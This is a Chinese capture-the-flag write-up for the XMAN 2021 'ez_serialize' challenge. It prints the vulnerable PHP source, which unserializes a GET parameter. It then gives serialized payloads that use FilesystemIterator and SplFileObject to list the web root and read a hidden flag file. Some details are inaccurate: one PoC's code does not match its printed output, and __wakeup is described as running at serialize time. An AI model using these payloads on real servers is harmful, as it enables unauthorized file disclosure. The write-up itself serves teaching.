xman-2021

ez_serialize

赛宁环境：http://119.3.220.83:32868/

题目源码：

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<?php
error_reporting(0); # 不报错
highlight_file(__FILE__); # 把前端代码高亮了
class XMAN{
    public $class; 
    public $para;
    public $check;
    public function __construct() # php的构造函数，new一个对象的时候会被调用
    {
        $this->class = "Hel"; # this表示 XMAN.class
        $this->para = "xctfer";
        echo new  $this->class ($this->para); # new的是Hel(xctfer)
    }
    public function __wakeup() # php的反序列化函数，反序列化时被调用
    {
        $this->check = new Filter; 
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para); # 实例化，利用的点在这
            # FilesystemIterator(/var/www/html) 打印目录
            # SplFileObject(/var/www/html/flag.php) 打印 flag.php文件
        }
        else
            die('what?Really?');
    }
}
class Hel{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("Hello bro, I guess you are a lazy ".$this->a); 
    }
}
class Filter{
    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}
if(isset($_GET['xctf'])){
    unserialize($_GET['xctf']); # 如果定义了xctf参数，就反序列化它
}
else{
    $a=new XMAN;
}

序列化 serialize是把对象序列化为字符串

反序列化 unserialize是把字符串重新输出为对象，具体怎么输出定义在 __wakeup() 中

这里我们需要一个遍历目录的内置类，需要一个打印文件内容的类

Class Intrudution
FilesystemIterator The Filesystem iterator 打印指定目录FilesystemIterator(目录)
SplFileObject The SplFileObject class offers an object oriented interface for a file. 打印指定文件Spl(file)

用法都是

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<?php
class XMAN{
    public $class;
    public $para;
    public function __construct(){
        $this->class = "FilesystemIterator";
        $this->para = "/var/www/html/";
    }
}
$poc = new XMAN();
echo serialize($poc);
?>
# O:4:"XMAN":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";}

打印出了

image-20210812121311810

继续打印

image-20210812121405359

更换对象打印出文件内容

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<?php
class XMAN{
    public $class;
    public $para;
    public function __construct(){
        $this->class = "FilesystemIterator";
        $this->para = "/var/www/html/";
    }
}
$poc = new XMAN();
echo serialize($poc);
?>
# O:4:"XMAN":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:37:"/var/www/html/xxxXXXmMManNNn/f1a4.php";}

由于是php文件，<?不被html识别，就放在注释里面了，crtl+u查看

image-20210812121653615

几个魔术方法

方法 作用
__construct() new的时候被调用，构造函数
__wakeup() serialize时被调用
__toString() unserialize后作为字符串时变量时被调用 
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<?php
class XMAN{
    public $class="SplFileObject";
    public $para="/var/www/html";
    // public $check;
    public function __wakeup(){
     echo " I wakeup\n";
 }
    public function __toString(){
    return "I am String\n"; 
}
}
echo $a = serialize(new XMAN());
$b= unserialize($a);
echo $b;
echo $b->class."\n".$b->para;

输出

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O:4:"XMAN":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:13:"/var/www/html";} I wakeup
#序列化时调用
I am String
#把反序列化后的对象作为字符串时调用，echo这里是默认成字符串变量了
SplFileObject
/var/www/html